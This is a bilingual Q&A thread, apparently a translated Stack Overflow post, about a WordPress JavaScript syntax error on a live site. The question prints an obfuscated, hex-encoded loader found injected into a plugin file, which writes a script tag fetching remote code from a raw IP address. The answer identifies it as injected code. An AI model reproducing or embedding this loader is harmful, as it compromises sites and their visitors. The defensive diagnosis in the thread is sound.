[英]SyntaxError: missing ; before statement error in wordpress
All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file. 一切都可以在localhost上正常工作,但是在实时服务器上,突然我得到了每个单独js文件的上述错误。
I commented out wp_enqueue_scripts
in functions.php
, to see if the error disappears but it still there. 我在
functions.php
注释掉了wp_enqueue_scripts
,以查看错误是否消失但仍然存在。
Also added below line thinking the string concatnation might have caused it. 在下面的行中还添加了以为字符串混淆可能导致了此问题。
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
I can't find out what might cause this problem. 我找不到导致此问题的原因。 Please advise me.
请建议我。 I can provide my site's access to test.
我可以提供我网站的测试访问权限。
EDIT: 编辑:
I opened one of my plugin file shown in the console with error remark. 我打开了控制台中显示的我的插件文件之一,并带有错误注释。 Noticed weird string before the actual code begin.
在实际代码开始之前,注意到了奇怪的字符串。 I suspect this could be the problem.
我怀疑这可能是问题所在。
Is this some kind of prefix by wordpress or unwanted string from elsewhere? 这是wordpress的前缀还是其他地方不需要的字符串?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});
Your _0xaae8
is missing ;
您的
_0xaae8
已丢失;
before jQuery(document).ready(
. 在
jQuery(document).ready(
。
This code : var _0xaae8=[...
looks like injected code. 此代码:
var _0xaae8=[...
看起来像注入的代码。 Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). 通常,我看到这样的代码是通过一些错误的书面工具/插件/库注入的,这些工具/插件/库允许用户使用文件(例如,将文件上传到服务器)。 I suggest removing it if it's not your code and check other files on server too.
如果不是您的代码,我建议将其删除,并检查服务器上的其他文件。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.